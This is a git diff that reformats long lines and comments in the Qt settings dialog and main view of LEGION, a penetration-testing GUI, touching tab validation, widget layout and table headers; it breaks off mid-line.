def populateAutomatedAttacksTab(self): # TODO: this one is still to big and ugly. needs work. + def populateAutomatedAttacksTab(self): # TODO: this one is still to big and ugly. needs work. self.typeDic = {} for i in range(len(self.settings.portActions)): # the dictionary contains the name, the text input and the layout for each tool - self.typeDic.update({self.settings.portActions[i][1]:[QtWidgets.QLabel(),QtWidgets.QLineEdit(),QtWidgets.QCheckBox(),QtWidgets.QHBoxLayout()]}) + self.typeDic.update({self.settings.portActions[i][1]:[QtWidgets.QLabel(),QtWidgets.QLineEdit(), + QtWidgets.QCheckBox(),QtWidgets.QHBoxLayout()]}) for keyNum in range(len(self.settings.portActions)): @@ -277,7 +305,8 @@ def populateAutomatedAttacksTab(self): # TODO: this foundToolInAA = False for t in self.settings.automatedAttacks: if self.settings.portActions[keyNum][1] == t[0]: - #self.typeDic[self.settings.portActions[keyNum][1]][1].setText(self.settings.automatedAttacks[self.settings.portActions[keyNum][1]]) + #self.typeDic[self.settings.portActions[keyNum][1]][1].setText( + # self.settings.automatedAttacks[self.settings.portActions[keyNum][1]]) self.typeDic[self.settings.portActions[keyNum][1]][1].setText(t[1]) self.typeDic[self.settings.portActions[keyNum][1]][2].toggle() foundToolInAA = True @@ -287,15 +316,21 @@ def populateAutomatedAttacksTab(self): # TODO: this self.typeDic[self.settings.portActions[keyNum][1]][1].setText(self.settings.portActions[keyNum][3]) self.typeDic[self.settings.portActions[keyNum][1]][1].setFixedWidth(300) - self.typeDic[self.settings.portActions[keyNum][1]][2].setObjectName(str(self.typeDic[self.settings.portActions[keyNum][1]][2])) - self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][0]) - self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][1]) + self.typeDic[self.settings.portActions[keyNum][1]][2].setObjectName( + str(self.typeDic[self.settings.portActions[keyNum][1]][2])) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget( + self.typeDic[self.settings.portActions[keyNum][1]][0]) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget( + self.typeDic[self.settings.portActions[keyNum][1]][1]) self.typeDic[self.settings.portActions[keyNum][1]][3].addItem(self.enabledSpacer) - self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][2]) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget( + self.typeDic[self.settings.portActions[keyNum][1]][2]) self.scrollVerLayout.addLayout(self.typeDic[self.settings.portActions[keyNum][1]][3]) - else: # populate the automated attacks tools tab with every tool that IS a default creds check - # TODO: i get the feeling we shouldn't be doing this in the else. the else could just skip the default ones and outside of the loop we can go through self.defaultServicesList and take care of these separately. + else: # populate the automated attacks tools tab with every tool that IS a default creds check + # TODO: i get the feeling we shouldn't be doing this in the else. + # the else could just skip the default ones and outside of the loop we can go through + # self.defaultServicesList and take care of these separately. if self.settings.portActions[keyNum][1] == "mysql-default": self.typeDic[self.settings.portActions[keyNum][1]][0].setText('mysql') elif self.settings.portActions[keyNum][1] == "mssql-default": @@ -308,10 +343,13 @@ def populateAutomatedAttacksTab(self): # TODO: this self.typeDic[self.settings.portActions[keyNum][1]][0].setText('oracle') self.typeDic[self.settings.portActions[keyNum][1]][0].setFixedWidth(150) - self.typeDic[self.settings.portActions[keyNum][1]][2].setObjectName(str(self.typeDic[self.settings.portActions[keyNum][1]][2])) - self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][0]) + self.typeDic[self.settings.portActions[keyNum][1]][2].setObjectName( + str(self.typeDic[self.settings.portActions[keyNum][1]][2])) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget( + self.typeDic[self.settings.portActions[keyNum][1]][0]) self.typeDic[self.settings.portActions[keyNum][1]][3].addItem(self.enabledSpacer) - self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][2]) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget( + self.typeDic[self.settings.portActions[keyNum][1]][2]) self.defaultBoxVerlayout.addLayout(self.typeDic[self.settings.portActions[keyNum][1]][3]) @@ -319,15 +357,19 @@ def populateAutomatedAttacksTab(self): # TODO: this self.globVerAutoToolsLayout.addWidget(self.scrollArea) ##################### SWITCH TAB FUNCTIONS ##################### - - def switchTabClick(self): # LEO: this function had duplicate code with validateCurrentTab(). so now we call that one. + + # LEO: this function had duplicate code with validateCurrentTab(). so now we call that one. + def switchTabClick(self): if self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) == 'Tools': self.previousToolTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) log.info('previous tab is: ' + str(self.previousTab)) - if self.validateCurrentTab(self.previousTab): # LEO: we don't care about the return value in this case. it's just for debug. + # LEO: we don't care about the return value in this case. it's just for debug. + if self.validateCurrentTab(self.previousTab): log.info('validation succeeded! switching tab! yay!') - # save the previous tab for the next time we switch tabs. TODO: not sure this should be inside the IF but makes sense to me. no point in saving the previous if there is no change.. + # save the previous tab for the next time we switch tabs. + # TODO: not sure this should be inside the IF but makes sense to me. no point in saving + # the previous if there is no change.. self.previousTab = self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) else: log.info('nope! cannot let you switch tab! you fucked up!') @@ -345,7 +387,8 @@ def switchToolTabClick(self): # TODO: chec self.toolForTerminalTableWidget.selectRow(0) self.updateToolForTerminalInformation(False) - # LEO: I get the feeling the validation part could go into a validateCurrentToolTab() just like in the other switch tab function. + # LEO: I get the feeling the validation part could go into a validateCurrentToolTab() + # just like in the other switch tab function. if self.previousToolTab == 'Tool Paths': if not self.toolPathsValidate(): self.ToolSettingsTab.setCurrentIndex(0) @@ -363,7 +406,8 @@ def switchToolTabClick(self): # TODO: chec self.updatePortActions() elif self.previousToolTab == 'Terminal Commands': - if not self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + if not self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, + self.terminalCommandText): self.ToolSettingsTab.setCurrentIndex(3) else: self.updateTerminalActions() @@ -372,25 +416,33 @@ def switchToolTabClick(self): # TODO: chec if not self.validateStagedNmapTab(): self.ToolSettingsTab.setCurrentIndex(4) # else: -# self.updateTerminalActions() # LEO: commented out because it didn't look right, please check! + # LEO: commented out because it didn't look right, please check! +# self.updateTerminalActions() self.previousToolTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) ##################### AUXILIARY FUNCTIONS ##################### - #def confInitState(self): # LEO: renamed. i get the feeling this function is not necessary if we put this code somewhere else - eg: right before we apply/cancel. we'll see. - def resetTabIndexes(self): # called when the settings dialog is opened so that we always show the same tabs. + # LEO: renamed. i get the feeling this function is not necessary if we put this code somewhere else + # - eg: right before we apply/cancel. we'll see. + #def confInitState(self): + # called when the settings dialog is opened so that we always show the same tabs. + def resetTabIndexes(self): self.settingsTabWidget.setCurrentIndex(0) self.ToolSettingsTab.setCurrentIndex(0) - def toggleRedBorder(self, widget, red=True): # called by validation functions to display (or not) a red border around a text input widget when input is (in)valid. easier to change stylesheets in one place only. + # called by validation functions to display (or not) a red border around a text input widget when input is + # (in)valid. easier to change stylesheets in one place only. + def toggleRedBorder(self, widget, red=True): if red: widget.setStyleSheet("border: 1px solid red;") else: widget.setStyleSheet("border: 1px solid grey;") - # LEO: I moved the really generic validation functions to the end of auxiliary.py and those are used by these slightly-less-generic ones. - # .. the difference is that these ones also take care of the IF/ELSE which was being duplicated all over the code. everything should be simpler now. + # LEO: I moved the really generic validation functions to the end of auxiliary.py and those are used by + # these slightly-less-generic ones. + # .. the difference is that these ones also take care of the IF/ELSE which was being duplicated all over the code. + # everything should be simpler now. # note that I didn't use these everywhere because sometimes the IF/ELSE are not so straight-forward. def validateNumeric(self, widget): @@ -450,9 +502,14 @@ def validateNmapPorts(self, widget): return True ##################### VALIDATION FUNCTIONS (per tab) ##################### - # LEO: the functions are more or less in the same order as the tabs in the GUI (top-down and left-to-right) except for generic functions - - def validateCurrentTab(self, tab): # LEO: your updateSettings() was split in 2. validateCurrentTab() and updateSettings() since they have different functionality. also, we now have a 'tab' parameter so that we can reuse the code in switchTabClick and avoid duplicate code. the tab parameter will either be the current or the previous tab depending where we call this from. + # LEO: the functions are more or less in the same order as the tabs in the GUI (top-down and left-to-right) except + # for generic functions + + # LEO: your updateSettings() was split in 2. validateCurrentTab() and updateSettings() since they have + # different functionality. also, we now have a 'tab' parameter so that we can reuse the code in switchTabClick + # and avoid duplicate code. the tab parameter will either be the current or the previous tab depending where we + # call this from. + def validateCurrentTab(self, tab): validationPassed = True if tab == 'General': if not self.validateGeneralTab(): @@ -490,7 +547,8 @@ def validateCurrentTab(self, tab): # LEO: your self.updatePortActions() elif currentToolsTab == 'Terminal Commands': - if not self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + if not self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, + self.terminalCommandText): self.settingsTabWidget.setCurrentIndex(2) self.ToolSettingsTab.setCurrentIndex(3) validationPassed = False @@ -504,7 +562,8 @@ def validateCurrentTab(self, tab): # LEO: your validationPassed = False else: - log.info('>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. + # LEO: added this just to help when testing. we'll remove it later. + log.info('>>>> we should never be here. potential bug. 1') elif tab == 'Wordlists': log.info('Coming back from wordlists.') @@ -513,7 +572,8 @@ def validateCurrentTab(self, tab): # LEO: your log.info('Coming back from automated attacks.') else: - log.info('>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. + # LEO: added this just to help when testing. we'll remove it later. + log.info('>>>> we should never be here. potential bug. 2') log.info('DEBUG: current tab is valid: ' + str(validationPassed)) return validationPassed @@ -523,7 +583,9 @@ def validateGeneralTab(self): validationPassed = self.validateNumeric(self.screenshotTextinput) self.toggleRedBorder(self.webServicesTextinput, False) - for service in str(self.webServicesTextinput.text()).split(','):# TODO: this is too strict! no spaces or comma allowed? we can clean up for the user in some simple cases. actually, i'm not sure we even need to split. + # TODO: this is too strict! no spaces or comma allowed? we can clean up for the user in some simple cases. + # actually, i'm not sure we even need to split. + for service in str(self.webServicesTextinput.text()).split(','): if not validateString(service): self.toggleRedBorder(self.webServicesTextinput, True) validationPassed = False @@ -532,7 +594,9 @@ def validateGeneralTab(self): return validationPassed #def bruteTabValidate(self): - def validateBruteTab(self): # LEO: do NOT change the order of the AND statements otherwise validation may not take place if first condition is False + # LEO: do NOT change the order of the AND statements otherwise validation may not take place + # if first condition is False + def validateBruteTab(self): validationPassed = self.validatePath(self.userlistPath) validationPassed = self.validatePath(self.passwordlistPath) and validationPassed validationPassed = self.validateString(self.defaultUserText) and validationPassed @@ -546,12 +610,15 @@ def toolPathsValidate(self): validationPassed = self.validateFile(self.textEditorPathInput) and validationPassed return validationPassed -# def commandTabsValidate(self): # LEO: renamed and refactored - def validateCommandTabs(self, nameInput, labelInput, commandInput): # only validates the tool name, label and command fields for host/port/terminal tabs +# def commandTabsValidate(self): + # only validates the tool name, label and command fields for host/port/terminal tabs + def validateCommandTabs(self, nameInput, labelInput, commandInput): validationPassed = True - if self.validationPassed == False: # the self.validationPassed comes from the focus out event - self.toggleRedBorder(nameInput, True) # TODO: this seems like a dodgy way to do it - functions should not depend on hope :) . maybe it's better to simply validate again. code will be clearer too. + if self.validationPassed == False: # the self.validationPassed comes from the focus out event + # TODO: this seems like a dodgy way to do it - functions should not depend on hope :). + # maybe it's better to simply validate again. code will be clearer too. + self.toggleRedBorder(nameInput, True) validationPassed = False else: self.toggleRedBorder(nameInput, False) @@ -560,7 +627,8 @@ def validateCommandTabs(self, nameInput, labelInput, commandInput): # only valid validationPassed = self.validateCommandFormat(commandInput) and validationPassed return validationPassed - # avoid using the same code for the selected tab. returns the fields for the current visible tab (host/ports/terminal) + # avoid using the same code for the selected tab. returns the fields for the current visible tab + # (host/ports/terminal) # TODO: don't like this too much. seems like we could just use parameters in the validate tool name function def selectGroup(self): tabSelected = -1 @@ -596,8 +664,9 @@ def selectGroup(self): return tmpWidget, tmpActionLineEdit, tmpLabelLineEdit, tmpCommandLineEdit, actions, tableRow -# def validateInput(self): # LEO: renamed - def validateToolName(self): # called when there is a focus out event. only validates the tool name (key) for host/port/terminal tabs +# def validateInput(self): + # called when there is a focus out event. only validates the tool name (key) for host/port/terminal tabs + def validateToolName(self): selectGroup = self.selectGroup() tmpWidget = selectGroup[0] tmplineEdit = selectGroup[1] @@ -607,8 +676,11 @@ def validateToolName(self): # called whe if tmplineEdit: row = tmpWidget.currentRow() - if row != -1: # LEO: when the first condition is True the validateUniqueToolName is never called (bad if we want to show a nice error message for the unique key) - if not validateString(str(tmplineEdit.text())) or not self.validateUniqueToolName(tmpWidget, row, str(tmplineEdit.text())): + # LEO: when the first condition is True the validateUniqueToolName is never called (bad if we want to + # show a nice error message for the unique key) + if row != -1: + if not validateString(str(tmplineEdit.text())) or not self.validateUniqueToolName( + tmpWidget, row, str(tmplineEdit.text())): tmplineEdit.setStyleSheet("border: 1px solid red;") tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) self.validationPassed = False @@ -624,8 +696,8 @@ def validateToolName(self): # called whe actions[row][1] = tmpWidget.item(row,0).text() return self.validationPassed - #def validateUniqueKey(self, widget, tablerow, text): # LEO: renamed. +the function that calls this one already knows the selectGroup stuff so no need to duplicate. - def validateUniqueToolName(self, widget, tablerow, text): # LEO: the function that calls this one already knows the selectGroup stuff so no need to duplicate. + #def validateUniqueKey(self, widget, tablerow, text): + def validateUniqueToolName(self, widget, tablerow, text): if tablerow != -1: for row in [i for i in range(widget.rowCount()) if i not in [tablerow]]: if widget.item(row,0).text() == text: @@ -633,7 +705,9 @@ def validateUniqueToolName(self, widget, tablerow, text): # LEO: t return True #def nmapValidate(self): - def validateStagedNmapTab(self): # LEO: renamed and fixed bugs. TODO: this function is being called way too often. something seems wrong in the overall logic + # LEO: renamed and fixed bugs. + # TODO: this function is being called way too often. something seems wrong in the overall logic + def validateStagedNmapTab(self): validationPassed = self.validateNmapPorts(self.stage1Input) validationPassed = self.validateNmapPorts(self.stage2Input) and validationPassed validationPassed = self.validateNmapPorts(self.stage3Input) and validationPassed @@ -650,7 +724,8 @@ def addToolForHost(self): self.toolForHostsTableWidget.setRowCount(currentRows + 1) self.toolForHostsTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) - self.toolForHostsTableWidget.item(self.toolForHostsTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.hostActionsNumber)) + self.toolForHostsTableWidget.item( + self.toolForHostsTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.hostActionsNumber)) self.toolForHostsTableWidget.selectRow(currentRows) self.settings.hostActions.append(['', 'New_Action_'+str(self.hostActionsNumber), '']) self.hostActionsNumber +=1 @@ -706,9 +781,10 @@ def updateToolForHostInformation(self, update = True): else: self.toolForHostsTableWidget.selectRow(self.hostTableRow) - # this function is used to REAL TIME update the tool table when a user enters a edit a tool name in the HOST/PORT/TERMINAL commands tabs + # this function is used to REAL TIME update the tool table when a user enters a edit a tool name in the + # HOST/PORT/TERMINAL commands tabs # LEO: this one replaces updateToolForHostTable + updateToolForServicesTable + updateToolForTerminalTable - def realTimeToolNameUpdate(self, tablewidget, text): # the name still sucks, sorry. at least it's refactored + def realTimeToolNameUpdate(self, tablewidget, text): row = tablewidget.currentRow() if row != -1: tablewidget.item(row, 0).setText(str(text)) @@ -721,7 +797,8 @@ def addToolForService(self): currentRows = self.toolForServiceTableWidget.rowCount() self.toolForServiceTableWidget.setRowCount(currentRows + 1) self.toolForServiceTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) - self.toolForServiceTableWidget.item(self.toolForServiceTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.portActionsNumber)) + self.toolForServiceTableWidget.item( + self.toolForServiceTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.portActionsNumber)) self.toolForServiceTableWidget.selectRow(currentRows) self.settings.portActions.append(['', 'New_Action_'+str(self.portActionsNumber), '']) self.portActionsNumber +=1 @@ -785,7 +862,8 @@ def addToolForTerminal(self): currentRows = self.toolForTerminalTableWidget.rowCount() self.toolForTerminalTableWidget.setRowCount(currentRows + 1) self.toolForTerminalTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) - self.toolForTerminalTableWidget.item(self.toolForTerminalTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.terminalActionsNumber)) + self.toolForTerminalTableWidget.item( + self.toolForTerminalTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.terminalActionsNumber)) self.toolForTerminalTableWidget.selectRow(currentRows) self.settings.portTerminalActions.append(['', 'New_Action_'+str(self.terminalActionsNumber), '']) self.terminalActionsNumber +=1 @@ -842,20 +920,22 @@ def updateToolForTerminalInformation(self, update = True): ##################### TOOLS / AUTOMATED ATTACKS FUNCTIONS ##################### - def enableAutoToolsTab(self): # when 'Run automated attacks' is checked this function is called + # when 'Run automated attacks' is checked this function is called + def enableAutoToolsTab(self): if self.enableAutoAttacks.isChecked(): self.AutoAttacksSettingsTab.setTabEnabled(1,True) else: self.AutoAttacksSettingsTab.setTabEnabled(1,False) - #def selectDefaultServices(self): # toggles select/deselect all default creds checkboxes - def toggleDefaultServices(self): # toggles select/deselect all default creds checkboxes + #def selectDefaultServices(self): # toggles select/deselect all default creds checkboxes + def toggleDefaultServices(self): # toggles select/deselect all default creds checkboxes for service in self.defaultServicesList: if not self.typeDic[service][2].isChecked() == self.checkDefaultCred.isChecked(): self.typeDic[service][2].toggle() #def addRemoveServices(self, add=True): - def moveService(self, src, dst): # in the multiple choice widget (port/terminal commands tabs) it transfers services bidirectionally + # in the multiple choice widget (port/terminal commands tabs) it transfers services bidirectionally + def moveService(self, src, dst): if src.selectionModel().selectedRows(): row = src.currentRow() dst.setRowCount(dst.rowCount() + 1) @@ -1538,7 +1618,8 @@ def setupAutoAttacksToolTab(self): # for all the browse buttons def wordlistDialog(self, title='Choose username path'): if title == 'Choose username path': - path = QtWidgets.QFileDialog.getExistingDirectory(self, title, '/', QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks) + path = QtWidgets.QFileDialog\ + .getExistingDirectory(self, title, '/', QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks) self.userlistPath.setText(str(path)) else: path = QtWidgets.QFileDialog.getExistingDirectory(self, title, '/') diff --git a/ui/view.py b/ui/view.py index 9422764f..9337dd8b 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1,17 +1,22 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" -import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex +import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex from PyQt5.QtCore import * # for filters dialog from PyQt5 import QtCore @@ -43,12 +48,12 @@ class View(QtCore.QObject): def __init__(self, viewState: ViewState, ui, ui_mainwindow, shell: Shell): QtCore.QObject.__init__(self) self.ui = ui - self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings + self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings self.bottomWindowSize = 100 self.leftPanelSize = 300 - self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel + self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel self.qss = None self.processesTableViewSort = 'desc' self.processesTableViewSortColumn = 'status' @@ -57,17 +62,23 @@ def __init__(self, viewState: ViewState, ui, ui_mainwindow, shell: Shell): self.shell = shell self.viewState = viewState - def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions + # the view needs access to controller methods to link gui actions with real actions + def setController(self, controller): self.controller = controller def startOnce(self): - self.fixedTabsCount = self.ui.ServicesTabWidget.count() # the number of fixed host tabs (services, scripts, information, notes) + # the number of fixed host tabs (services, scripts, information, notes) + self.fixedTabsCount = self.ui.ServicesTabWidget.count() self.hostInfoWidget = HostInformationWidget(self.ui.InformationTab) self.filterdialog = FiltersDialog(self.ui.centralwidget) self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.shell, self.ui.centralwidget) - self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.links, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) + self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, + self.controller.links, self.controller.emails, self.controller.version, + self.controller.build, self.controller.update, self.controller.license, + self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, + qss = self.qss, parent = self.ui.centralwidget) self.configDialog = ConfigDialog(controller = self.controller, qss = self.qss, parent = self.ui.centralwidget) self.ui.HostsTableView.setSelectionMode(3) @@ -93,7 +104,7 @@ def start(self, title='*untitled'): self.initTables() # initialise all tables self.updateInterface() - self.restoreToolTabWidget(True) # True means we want to show the original textedit + self.restoreToolTabWidget(True) # True means we want to show the original textedit self.updateScriptsOutputView('') # update the script output panel (right) self.updateToolHostsTableView('') self.ui.MainTabWidget.setCurrentIndex(0) # display scan tab by default @@ -102,7 +113,7 @@ def start(self, title='*untitled'): self.ui.BottomTabWidget.setCurrentIndex(0) # display Log tab by default self.ui.BruteTabWidget.setTabsClosable(True) # sets all tabs as closable in bruteforcer - self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs + self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) @@ -110,12 +121,13 @@ def start(self, title='*untitled'): self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.RightSide, None) - self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab + self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab self.displayToolPanel(False) self.displayScreenshots(False) - self.displayAddHostsOverlay(True) # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' + # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' + self.displayAddHostsOverlay(True) - def startConnections(self): # signal initialisations (signals/slots, actions, etc) + def startConnections(self): # signal initialisations (signals/slots, actions, etc) ### MENU ACTIONS ### self.connectCreateNewProject() self.connectOpenExistingProject() @@ -138,7 +150,7 @@ def startConnections(self): # signal ini self.connectAddHostClick() self.connectSwitchTabClick() # to detect changing tabs (on left panel) self.connectSwitchMainTabClick() # to detect changing top level tabs - self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) + self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) self.connectProcessTableHeaderResize() ### CONTEXT MENUS ### self.connectHostsTableContextMenu() @@ -161,10 +173,12 @@ def startConnections(self): # signal ini #################### AUXILIARY #################### - def initTables(self): # this function prepares the default settings for each table + def initTables(self): # this function prepares the default settings for each table # hosts table (left) - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] - setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", + "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24]) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) # service names table (left) @@ -172,20 +186,24 @@ def initTables(self): # this funct setTableProperties(self.ui.ServiceNamesTableView, len(headers)) # cves table (right) - headers = ["CVE Id", "Severity", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] + headers = ["CVE Id", "Severity", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", + "ExploitDb URL"] setTableProperties(self.ui.CvesTableView, len(headers)) self.ui.CvesTableView.setSortingEnabled(True) # tools table (left) - headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", + "OutputFile", "Output", "Status"] setTableProperties(self.ui.ToolsTableView, len(headers), [0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]) # service table (right) - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [0, 1, 5, 6, 8, 10, 11]) # ports by service (right) - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [2, 5, 6, 8, 10, 11]) self.ui.ServicesTableView.horizontalHeader().resizeSection(0, 130) # resize IP @@ -194,12 +212,14 @@ def initTables(self): # this funct setTableProperties(self.ui.ScriptsTableView, len(headers), [0, 3]) # tool hosts table (right) - headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", + "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ToolHostsTableView, len(headers), [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12]) self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column # process table - headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) self.ui.ProcessesTableView.setSortingEnabled(True) @@ -207,10 +227,12 @@ def setMainWindowTitle(self, title): self.ui_mainwindow.setWindowTitle(str(title)) def yesNoDialog(self, message, title): - dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, + QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, + QtWidgets.QMessageBox.No) return dialog - def setDirty(self, status=True): # this function is called for example when the user edits notes + def setDirty(self, status=True): # this function is called for example when the user edits notes self.viewState.dirty = status title = '' @@ -221,7 +243,8 @@ def setDirty(self, status=True): # this funct else: title += ntpath.basename(str(self.controller.getProjectName())) - self.setMainWindowTitle(self.controller.name + ' ' + self.controller.getVersion() + ' - ' + title + ' - ' + self.controller.getCWD()) + self.setMainWindowTitle(self.controller.name + ' ' + self.controller.getVersion() + ' - ' + title + ' - ' + + self.controller.getCWD()) #################### ACTIONS #################### @@ -238,7 +261,8 @@ def saveProcessHeaderWidth(self, index, oldSize, newSize): def dealWithRunningProcesses(self, exiting=False): if len(self.controller.getRunningProcesses()) > 0: - message = "There are still processes running. If you continue, every process will be terminated. Are you sure you want to continue?" + message = "There are still processes running. If you continue, every process will be terminated. " + \ + "Are you sure you want to continue?" reply = self.yesNoDialog(message, 'Confirm') if not reply == QtWidgets.QMessageBox.Yes: @@ -250,8 +274,9 @@ def dealWithRunningProcesses(self, exiting=False): return True - def dealWithCurrentProject(self, exiting=False): # returns True if we can proceed with: creating/opening a project or exiting - if self.viewState.dirty: # if there are unsaved changes, show save dialog first + # returns True if we can proceed with: creating/opening a project or exiting + def dealWithCurrentProject(self, exiting=False): + if self.viewState.dirty: # if there are unsaved changes, show save dialog first if not self.saveOrDiscard(): # if the user canceled, stop return False @@ -282,12 +307,16 @@ def connectOpenExistingProject(self): def openExistingProject(self): if self.dealWithCurrentProject(): - filename = 